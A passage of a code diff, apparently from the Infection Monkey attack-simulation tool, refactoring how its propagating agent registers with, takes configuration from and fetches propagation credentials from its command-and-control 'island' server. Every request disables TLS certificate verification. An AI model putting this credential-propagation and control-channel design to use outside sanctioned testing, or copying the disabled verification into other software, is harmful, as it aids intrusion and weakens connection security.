)
|
)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
|
|
||||||
self._island_server = island_server
|
self._api_url = f"https://{island_server}/api"
|
||||||
self._api_url = f"https://{self._island_server}/api"
|
|
||||||
|
|
||||||
@handle_island_errors
|
@handle_island_errors
|
||||||
def send_log(self, log_contents: str):
|
def send_log(self, agent_id: AgentID, log_contents: str):
|
||||||
response = requests.post( # noqa: DUO123
|
response = requests.put( # noqa: DUO123
|
||||||
f"{self._api_url}/log",
|
f"{self._api_url}/agent-logs/{agent_id}",
|
||||||
json=log_contents,
|
json=log_contents,
|
||||||
verify=False,
|
verify=False,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
|
@ -116,6 +135,45 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
||||||
|
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
|
|
||||||
|
@handle_island_errors
|
||||||
|
def register_agent(self, agent_registration_data: AgentRegistrationData):
|
||||||
|
url = f"{self._api_url}/agents"
|
||||||
|
response = requests.post( # noqa: DUO123
|
||||||
|
url,
|
||||||
|
json=agent_registration_data.dict(simplify=True),
|
||||||
|
verify=False,
|
||||||
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
@handle_island_errors
|
||||||
|
@convert_json_error_to_island_api_error
|
||||||
|
def get_config(self) -> AgentConfiguration:
|
||||||
|
response = requests.get( # noqa: DUO123
|
||||||
|
f"{self._api_url}/agent-configuration",
|
||||||
|
verify=False,
|
||||||
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
config_dict = response.json()
|
||||||
|
|
||||||
|
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
|
||||||
|
|
||||||
|
return AgentConfiguration(**config_dict)
|
||||||
|
|
||||||
|
@handle_island_errors
|
||||||
|
@convert_json_error_to_island_api_error
|
||||||
|
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||||
|
response = requests.get( # noqa: DUO123
|
||||||
|
f"{self._api_url}/propagation-credentials",
|
||||||
|
verify=False,
|
||||||
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
return [Credentials(**credentials) for credentials in response.json()]
|
||||||
|
|
||||||
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
|
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
|
||||||
serialized_events: List[JSONSerializable] = []
|
serialized_events: List[JSONSerializable] = []
|
||||||
|
|
||||||
|
@ -128,6 +186,18 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
||||||
|
|
||||||
return serialized_events
|
return serialized_events
|
||||||
|
|
||||||
|
@handle_island_errors
|
||||||
|
@convert_json_error_to_island_api_error
|
||||||
|
def get_agent_signals(self, agent_id: str) -> AgentSignals:
|
||||||
|
url = f"{self._api_url}/agent-signals/{agent_id}"
|
||||||
|
response = requests.get( # noqa: DUO123
|
||||||
|
url,
|
||||||
|
verify=False,
|
||||||
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
return AgentSignals(**response.json())
|
||||||
|
|
||||||
|
|
||||||
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
|
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
|
||||||
def __init__(
|
def __init__(
|
||||||
|
|
|
@ -1,8 +1,11 @@
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC, abstractmethod
|
||||||
from typing import Sequence
|
from typing import Sequence
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import AgentRegistrationData, AgentSignals, OperatingSystem
|
||||||
|
from common.agent_configuration import AgentConfiguration
|
||||||
from common.agent_events import AbstractAgentEvent
|
from common.agent_events import AbstractAgentEvent
|
||||||
|
from common.credentials import Credentials
|
||||||
|
from common.types import AgentID, SocketAddress
|
||||||
|
|
||||||
|
|
||||||
class IIslandAPIClient(ABC):
|
class IIslandAPIClient(ABC):
|
||||||
|
@ -11,9 +14,9 @@ class IIslandAPIClient(ABC):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def connect(self, island_server: str):
|
def connect(self, island_server: SocketAddress):
|
||||||
"""
|
"""
|
||||||
Connectto the island's API
|
Connect to the island's API
|
||||||
|
|
||||||
:param island_server: The socket address of the API
|
:param island_server: The socket address of the API
|
||||||
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
||||||
|
@ -27,10 +30,11 @@ class IIslandAPIClient(ABC):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def send_log(self, log_contents: str):
|
def send_log(self, agent_id: AgentID, log_contents: str):
|
||||||
"""
|
"""
|
||||||
Send the contents of the agent's log to the island
|
Send the contents of the agent's log to the island
|
||||||
|
|
||||||
|
:param agent_id: The ID of the agent whose logs are being sent
|
||||||
:param log_contents: The contents of the agent's log
|
:param log_contents: The contents of the agent's log
|
||||||
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
||||||
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the
|
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the
|
||||||
|
@ -91,3 +95,53 @@ class IIslandAPIClient(ABC):
|
||||||
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to
|
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to
|
||||||
the island
|
the island
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def register_agent(self, agent_registration_data: AgentRegistrationData):
|
||||||
|
"""
|
||||||
|
Register an agent with the Island
|
||||||
|
|
||||||
|
:param agent_registration_data: Information about the agent to register
|
||||||
|
with the island
|
||||||
|
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||||
|
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||||
|
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||||
|
:raises IslandAPITimeoutError: If the command timed out
|
||||||
|
"""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_config(self) -> AgentConfiguration:
|
||||||
|
"""
|
||||||
|
Get agent configuration from the island
|
||||||
|
|
||||||
|
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||||
|
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||||
|
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||||
|
:raises IslandAPITimeoutError: If the command timed out
|
||||||
|
:return: Agent configuration
|
||||||
|
"""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||||
|
"""
|
||||||
|
Get credentials from the island
|
||||||
|
|
||||||
|
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||||
|
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||||
|
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||||
|
:raises IslandAPITimeoutError: If the command timed out
|
||||||
|
:return: Credentials
|
||||||
|
"""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_agent_signals(self, agent_id: str) -> AgentSignals:
|
||||||
|
"""
|
||||||
|
Gets an agent's signals from the island
|
||||||
|
|
||||||
|
:param agent_id: ID of the agent whose signals should be retrieved
|
||||||
|
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||||
|
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||||
|
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||||
|
:raises IslandAPITimeoutError: If the command timed out
|
||||||
|
:return: The relevant agent's signals
|
||||||
|
"""
|
||||||
|
|
|
@ -1,127 +1,48 @@
|
||||||
import json
|
|
||||||
import logging
|
import logging
|
||||||
from pprint import pformat
|
from functools import wraps
|
||||||
from typing import Optional, Sequence
|
from typing import Sequence
|
||||||
from uuid import UUID
|
|
||||||
|
|
||||||
import requests
|
|
||||||
from urllib3 import disable_warnings
|
from urllib3 import disable_warnings
|
||||||
|
|
||||||
from common import AgentRegistrationData
|
|
||||||
from common.agent_configuration import AgentConfiguration
|
from common.agent_configuration import AgentConfiguration
|
||||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
|
||||||
from common.credentials import Credentials
|
from common.credentials import Credentials
|
||||||
from common.network.network_utils import get_network_interfaces
|
|
||||||
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
|
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
|
||||||
from infection_monkey.utils import agent_process
|
from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError
|
||||||
from infection_monkey.utils.ids import get_agent_id, get_machine_id
|
|
||||||
|
|
||||||
disable_warnings() # noqa: DUO131
|
disable_warnings() # noqa: DUO131
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def handle_island_api_errors(func):
|
||||||
|
@wraps(func)
|
||||||
|
def wrapper(*args, **kwargs):
|
||||||
|
try:
|
||||||
|
return func(*args, **kwargs)
|
||||||
|
except IslandAPIError as err:
|
||||||
|
raise IslandCommunicationError(err)
|
||||||
|
|
||||||
|
return wrapper
|
||||||
|
|
||||||
|
|
||||||
class ControlChannel(IControlChannel):
|
class ControlChannel(IControlChannel):
|
||||||
def __init__(self, server: str, agent_id: str):
|
def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient):
|
||||||
self._agent_id = agent_id
|
self._agent_id = agent_id
|
||||||
self._control_channel_server = server
|
self._control_channel_server = server
|
||||||
|
self._island_api_client = api_client
|
||||||
|
|
||||||
def register_agent(self, parent: Optional[UUID] = None):
|
@handle_island_api_errors
|
||||||
agent_registration_data = AgentRegistrationData(
|
|
||||||
id=get_agent_id(),
|
|
||||||
machine_hardware_id=get_machine_id(),
|
|
||||||
start_time=agent_process.get_start_time(),
|
|
||||||
# parent_id=parent,
|
|
||||||
parent_id=None, # None for now, until we change GUID to UUID
|
|
||||||
cc_server=self._control_channel_server,
|
|
||||||
network_interfaces=get_network_interfaces(),
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
|
||||||
url = f"https://{self._control_channel_server}/api/agents"
|
|
||||||
response = requests.post( # noqa: DUO123
|
|
||||||
url,
|
|
||||||
json=agent_registration_data.dict(simplify=True),
|
|
||||||
verify=False,
|
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
response.raise_for_status()
|
|
||||||
except (
|
|
||||||
requests.exceptions.ConnectionError,
|
|
||||||
requests.exceptions.Timeout,
|
|
||||||
requests.exceptions.TooManyRedirects,
|
|
||||||
requests.exceptions.HTTPError,
|
|
||||||
) as e:
|
|
||||||
raise IslandCommunicationError(e)
|
|
||||||
|
|
||||||
def should_agent_stop(self) -> bool:
|
def should_agent_stop(self) -> bool:
|
||||||
if not self._control_channel_server:
|
if not self._control_channel_server:
|
||||||
logger.error("Agent should stop because it can't connect to the C&C server.")
|
logger.error("Agent should stop because it can't connect to the C&C server.")
|
||||||
return True
|
return True
|
||||||
try:
|
agent_signals = self._island_api_client.get_agent_signals(self._agent_id)
|
||||||
url = (
|
return agent_signals.terminate is not None
|
||||||
f"https://{self._control_channel_server}/api/monkey-control"
|
|
||||||
f"/needs-to-stop/{self._agent_id}"
|
|
||||||
)
|
|
||||||
response = requests.get( # noqa: DUO123
|
|
||||||
url,
|
|
||||||
verify=False,
|
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
response.raise_for_status()
|
|
||||||
|
|
||||||
json_response = json.loads(response.content.decode())
|
|
||||||
return json_response["stop_agent"]
|
|
||||||
except (
|
|
||||||
json.JSONDecodeError,
|
|
||||||
requests.exceptions.ConnectionError,
|
|
||||||
requests.exceptions.Timeout,
|
|
||||||
requests.exceptions.TooManyRedirects,
|
|
||||||
requests.exceptions.HTTPError,
|
|
||||||
) as e:
|
|
||||||
raise IslandCommunicationError(e)
|
|
||||||
|
|
||||||
|
@handle_island_api_errors
|
||||||
def get_config(self) -> AgentConfiguration:
|
def get_config(self) -> AgentConfiguration:
|
||||||
try:
|
return self._island_api_client.get_config()
|
||||||
response = requests.get( # noqa: DUO123
|
|
||||||
f"https://{self._control_channel_server}/api/agent-configuration",
|
|
||||||
verify=False,
|
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
response.raise_for_status()
|
|
||||||
|
|
||||||
config_dict = json.loads(response.text)
|
|
||||||
|
|
||||||
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
|
|
||||||
|
|
||||||
return AgentConfiguration(**config_dict)
|
|
||||||
except (
|
|
||||||
json.JSONDecodeError,
|
|
||||||
requests.exceptions.ConnectionError,
|
|
||||||
requests.exceptions.Timeout,
|
|
||||||
requests.exceptions.TooManyRedirects,
|
|
||||||
requests.exceptions.HTTPError,
|
|
||||||
) as e:
|
|
||||||
raise IslandCommunicationError(e)
|
|
||||||
|
|
||||||
|
@handle_island_api_errors
|
||||||
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||||
propagation_credentials_url = (
|
return self._island_api_client.get_credentials_for_propagation()
|
||||||
f"https://{self._control_channel_server}/api/propagation-credentials"
|
|
||||||
)
|
|
||||||
try:
|
|
||||||
response = requests.get( # noqa: DUO123
|
|
||||||
propagation_credentials_url,
|
|
||||||
verify=False,
|
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
response.raise_for_status()
|
|
||||||
|
|
||||||
return [Credentials(**credentials) for credentials in response.json()]
|
|
||||||
except (
|
|
||||||
requests.exceptions.JSONDecodeError,
|
|
||||||
requests.exceptions.ConnectionError,
|
|
||||||
requests.exceptions.Timeout,
|
|
||||||
requests.exceptions.TooManyRedirects,
|
|
||||||
requests.exceptions.HTTPError,
|
|
||||||
) as e:
|
|
||||||
raise IslandCommunicationError(e)
|
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from typing import Dict
|
from typing import Dict
|
||||||
|
|
||||||
from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData
|
from common.types import NetworkPort, PingScanData
|
||||||
|
from infection_monkey.i_puppet import FingerprintData, PortScanData
|
||||||
|
|
||||||
Port = int
|
|
||||||
FingerprinterName = str
|
FingerprinterName = str
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class IPScanResults:
|
class IPScanResults:
|
||||||
ping_scan_data: PingScanData
|
ping_scan_data: PingScanData
|
||||||
port_scan_data: Dict[Port, PortScanData]
|
port_scan_data: Dict[NetworkPort, PortScanData]
|
||||||
fingerprint_data: Dict[FingerprinterName, FingerprintData]
|
fingerprint_data: Dict[FingerprinterName, FingerprintData]
|
||||||
|
|
|
@ -8,15 +8,9 @@ from typing import Callable, Dict, Sequence
|
||||||
from common.agent_configuration.agent_sub_configurations import (
|
from common.agent_configuration.agent_sub_configurations import (
|
||||||
NetworkScanConfiguration,
|
NetworkScanConfiguration,
|
||||||
PluginConfiguration,
|
PluginConfiguration,
|
||||||
ScanTargetConfiguration,
|
|
||||||
)
|
|
||||||
from infection_monkey.i_puppet import (
|
|
||||||
FingerprintData,
|
|
||||||
IPuppet,
|
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
|
||||||
PortStatus,
|
|
||||||
)
|
)
|
||||||
|
from common.types import PingScanData, PortStatus
|
||||||
|
from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData
|
||||||
from infection_monkey.network import NetworkAddress
|
from infection_monkey.network import NetworkAddress
|
||||||
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
|
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
|
||||||
|
|
||||||
|
@ -35,7 +29,7 @@ class IPScanner:
|
||||||
def scan(
|
def scan(
|
||||||
self,
|
self,
|
||||||
addresses_to_scan: Sequence[NetworkAddress],
|
addresses_to_scan: Sequence[NetworkAddress],
|
||||||
options: ScanTargetConfiguration,
|
options: NetworkScanConfiguration,
|
||||||
results_callback: Callback,
|
results_callback: Callback,
|
||||||
stop: Event,
|
stop: Event,
|
||||||
):
|
):
|
||||||
|
|
|
@ -2,7 +2,7 @@ import logging
|
||||||
from ipaddress import IPv4Interface
|
from ipaddress import IPv4Interface
|
||||||
from queue import Queue
|
from queue import Queue
|
||||||
from threading import Event
|
from threading import Event
|
||||||
from typing import List, Sequence
|
from typing import List, Mapping, Sequence
|
||||||
|
|
||||||
from common.agent_configuration import (
|
from common.agent_configuration import (
|
||||||
ExploitationConfiguration,
|
ExploitationConfiguration,
|
||||||
|
@ -10,13 +10,8 @@ from common.agent_configuration import (
|
||||||
PropagationConfiguration,
|
PropagationConfiguration,
|
||||||
ScanTargetConfiguration,
|
ScanTargetConfiguration,
|
||||||
)
|
)
|
||||||
from infection_monkey.i_puppet import (
|
from common.types import NetworkPort, PingScanData, PortStatus
|
||||||
ExploiterResultData,
|
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
|
||||||
FingerprintData,
|
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
|
||||||
PortStatus,
|
|
||||||
)
|
|
||||||
from infection_monkey.model import VictimHost, VictimHostFactory
|
from infection_monkey.model import VictimHost, VictimHostFactory
|
||||||
from infection_monkey.network import NetworkAddress
|
from infection_monkey.network import NetworkAddress
|
||||||
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
|
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
|
||||||
|
@ -26,6 +21,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
|
||||||
from infection_monkey.utils.threading import create_daemon_thread
|
from infection_monkey.utils.threading import create_daemon_thread
|
||||||
|
|
||||||
from . import Exploiter, IPScanner, IPScanResults
|
from . import Exploiter, IPScanner, IPScanResults
|
||||||
|
from .ip_scan_results import FingerprinterName
|
||||||
|
|
||||||
logger = logging.getLogger()
|
logger = logging.getLogger()
|
||||||
|
|
||||||
|
@ -120,14 +116,14 @@ class Propagator:
|
||||||
ranges_to_scan = target_config.subnets
|
ranges_to_scan = target_config.subnets
|
||||||
inaccessible_subnets = target_config.inaccessible_subnets
|
inaccessible_subnets = target_config.inaccessible_subnets
|
||||||
blocklisted_ips = target_config.blocked_ips
|
blocklisted_ips = target_config.blocked_ips
|
||||||
enable_local_network_scan = target_config.local_network_scan
|
scan_my_networks = target_config.scan_my_networks
|
||||||
|
|
||||||
return compile_scan_target_list(
|
return compile_scan_target_list(
|
||||||
self._local_network_interfaces,
|
self._local_network_interfaces,
|
||||||
ranges_to_scan,
|
ranges_to_scan,
|
||||||
inaccessible_subnets,
|
inaccessible_subnets,
|
||||||
blocklisted_ips,
|
blocklisted_ips,
|
||||||
enable_local_network_scan,
|
scan_my_networks,
|
||||||
)
|
)
|
||||||
|
|
||||||
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
|
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
|
||||||
|
@ -149,8 +145,12 @@ class Propagator:
|
||||||
victim_host.os["type"] = ping_scan_data.os
|
victim_host.os["type"] = ping_scan_data.os
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData):
|
def _process_tcp_scan_results(
|
||||||
for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()):
|
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData]
|
||||||
|
):
|
||||||
|
for psd in filter(
|
||||||
|
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
|
||||||
|
):
|
||||||
victim_host.services[psd.service] = {}
|
victim_host.services[psd.service] = {}
|
||||||
victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
|
victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
|
||||||
victim_host.services[psd.service]["port"] = psd.port
|
victim_host.services[psd.service]["port"] = psd.port
|
||||||
|
@ -158,7 +158,9 @@ class Propagator:
|
||||||
victim_host.services[psd.service]["banner"] = psd.banner
|
victim_host.services[psd.service]["banner"] = psd.banner
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData):
|
def _process_fingerprinter_results(
|
||||||
|
victim_host: VictimHost, fingerprint_data: Mapping[FingerprinterName, FingerprintData]
|
||||||
|
):
|
||||||
for fd in fingerprint_data.values():
|
for fd in fingerprint_data.values():
|
||||||
# TODO: This logic preserves the existing behavior prior to introducing IMaster and
|
# TODO: This logic preserves the existing behavior prior to introducing IMaster and
|
||||||
# IPuppet, but it is possibly flawed. Different fingerprinters may detect
|
# IPuppet, but it is possibly flawed. Different fingerprinters may detect
|
||||||
|
|
|
@ -3,9 +3,9 @@ import logging
|
||||||
import os
|
import os
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
from ipaddress import IPv4Address, IPv4Interface
|
from ipaddress import IPv4Interface
|
||||||
from pathlib import Path, WindowsPath
|
from pathlib import Path, WindowsPath
|
||||||
from typing import List, Mapping, Optional, Tuple
|
from typing import List, Optional, Sequence, Tuple
|
||||||
|
|
||||||
from pubsub.core import Publisher
|
from pubsub.core import Publisher
|
||||||
|
|
||||||
|
@ -13,17 +13,19 @@ from common.agent_event_serializers import (
|
||||||
AgentEventSerializerRegistry,
|
AgentEventSerializerRegistry,
|
||||||
register_common_agent_event_serializers,
|
register_common_agent_event_serializers,
|
||||||
)
|
)
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import CredentialsStolenEvent, PropagationEvent
|
||||||
|
from common.agent_registration_data import AgentRegistrationData
|
||||||
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
|
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
|
||||||
from common.network.network_utils import (
|
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces
|
||||||
address_to_ip_port,
|
from common.types import SocketAddress
|
||||||
get_my_ip_addresses,
|
|
||||||
get_network_interfaces,
|
|
||||||
)
|
|
||||||
from common.utils.argparse_types import positive_int
|
from common.utils.argparse_types import positive_int
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
from common.version import get_version
|
from common.version import get_version
|
||||||
from infection_monkey.agent_event_forwarder import AgentEventForwarder
|
from infection_monkey.agent_event_handlers import (
|
||||||
|
AgentEventForwarder,
|
||||||
|
add_stolen_credentials_to_propagation_credentials_repository,
|
||||||
|
notify_relay_on_propagation,
|
||||||
|
)
|
||||||
from infection_monkey.config import GUID
|
from infection_monkey.config import GUID
|
||||||
from infection_monkey.control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
from infection_monkey.credential_collectors import (
|
from infection_monkey.credential_collectors import (
|
||||||
|
@ -33,7 +35,6 @@ from infection_monkey.credential_collectors import (
|
||||||
from infection_monkey.credential_repository import (
|
from infection_monkey.credential_repository import (
|
||||||
AggregatingPropagationCredentialsRepository,
|
AggregatingPropagationCredentialsRepository,
|
||||||
IPropagationCredentialsRepository,
|
IPropagationCredentialsRepository,
|
||||||
add_credentials_from_event_to_propagation_credentials_repository,
|
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
|
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
|
@ -53,6 +54,7 @@ from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from infection_monkey.network.relay import TCPRelay
|
from infection_monkey.network.relay import TCPRelay
|
||||||
from infection_monkey.network.relay.utils import (
|
from infection_monkey.network.relay.utils import (
|
||||||
|
IslandAPISearchResults,
|
||||||
find_available_island_apis,
|
find_available_island_apis,
|
||||||
notify_disconnect,
|
notify_disconnect,
|
||||||
send_remove_from_waitlist_control_message_to_relays,
|
send_remove_from_waitlist_control_message_to_relays,
|
||||||
|
@ -81,16 +83,15 @@ from infection_monkey.puppet.puppet import Puppet
|
||||||
from infection_monkey.system_singleton import SystemSingleton
|
from infection_monkey.system_singleton import SystemSingleton
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||||
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
||||||
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
|
|
||||||
ExploitInterceptingTelemetryMessenger,
|
|
||||||
)
|
|
||||||
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
|
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
|
||||||
LegacyTelemetryMessengerAdapter,
|
LegacyTelemetryMessengerAdapter,
|
||||||
)
|
)
|
||||||
from infection_monkey.telemetry.state_telem import StateTelem
|
from infection_monkey.telemetry.state_telem import StateTelem
|
||||||
|
from infection_monkey.utils import agent_process
|
||||||
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
|
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
|
||||||
|
from infection_monkey.utils.ids import get_agent_id, get_machine_id
|
||||||
from infection_monkey.utils.monkey_dir import (
|
from infection_monkey.utils.monkey_dir import (
|
||||||
create_monkey_dir,
|
create_monkey_dir,
|
||||||
get_monkey_dir_path,
|
get_monkey_dir_path,
|
||||||
|
@ -110,21 +111,25 @@ class InfectionMonkey:
|
||||||
|
|
||||||
self._singleton = SystemSingleton()
|
self._singleton = SystemSingleton()
|
||||||
self._opts = self._get_arguments(args)
|
self._opts = self._get_arguments(args)
|
||||||
|
self._agent_id = get_agent_id()
|
||||||
|
|
||||||
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
|
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
|
||||||
|
|
||||||
server, self._island_api_client = self._connect_to_island_api()
|
self._island_address, self._island_api_client = self._connect_to_island_api()
|
||||||
# TODO: `address_to_port()` should return the port as an integer.
|
self._cmd_island_ip = self._island_address.ip
|
||||||
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
|
self._cmd_island_port = self._island_address.port
|
||||||
self._cmd_island_port = int(self._cmd_island_port)
|
|
||||||
self._control_client = ControlClient(
|
self._control_client = ControlClient(
|
||||||
server_address=server, island_api_client=self._island_api_client
|
server_address=self._island_address, island_api_client=self._island_api_client
|
||||||
)
|
)
|
||||||
|
self._control_channel = ControlChannel(
|
||||||
|
str(self._island_address), self._agent_id, self._island_api_client
|
||||||
|
)
|
||||||
|
self._register_agent()
|
||||||
|
|
||||||
# TODO Refactor the telemetry messengers to accept control client
|
# TODO Refactor the telemetry messengers to accept control client
|
||||||
# and remove control_client_object
|
# and remove control_client_object
|
||||||
ControlClient.control_client_object = self._control_client
|
ControlClient.control_client_object = self._control_client
|
||||||
self._control_channel = None
|
|
||||||
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
||||||
self._current_depth = self._opts.depth
|
self._current_depth = self._opts.depth
|
||||||
self._master = None
|
self._master = None
|
||||||
|
@ -134,7 +139,11 @@ class InfectionMonkey:
|
||||||
def _get_arguments(args):
|
def _get_arguments(args):
|
||||||
arg_parser = argparse.ArgumentParser()
|
arg_parser = argparse.ArgumentParser()
|
||||||
arg_parser.add_argument("-p", "--parent")
|
arg_parser.add_argument("-p", "--parent")
|
||||||
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
|
arg_parser.add_argument(
|
||||||
|
"-s",
|
||||||
|
"--servers",
|
||||||
|
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
|
||||||
|
)
|
||||||
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
|
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
|
||||||
opts = arg_parser.parse_args(args)
|
opts = arg_parser.parse_args(args)
|
||||||
InfectionMonkey._log_arguments(opts)
|
InfectionMonkey._log_arguments(opts)
|
||||||
|
@ -142,8 +151,8 @@ class InfectionMonkey:
|
||||||
return opts
|
return opts
|
||||||
|
|
||||||
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
|
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
|
||||||
def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
def _connect_to_island_api(self) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
|
||||||
logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
|
logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}")
|
||||||
server_clients = find_available_island_apis(
|
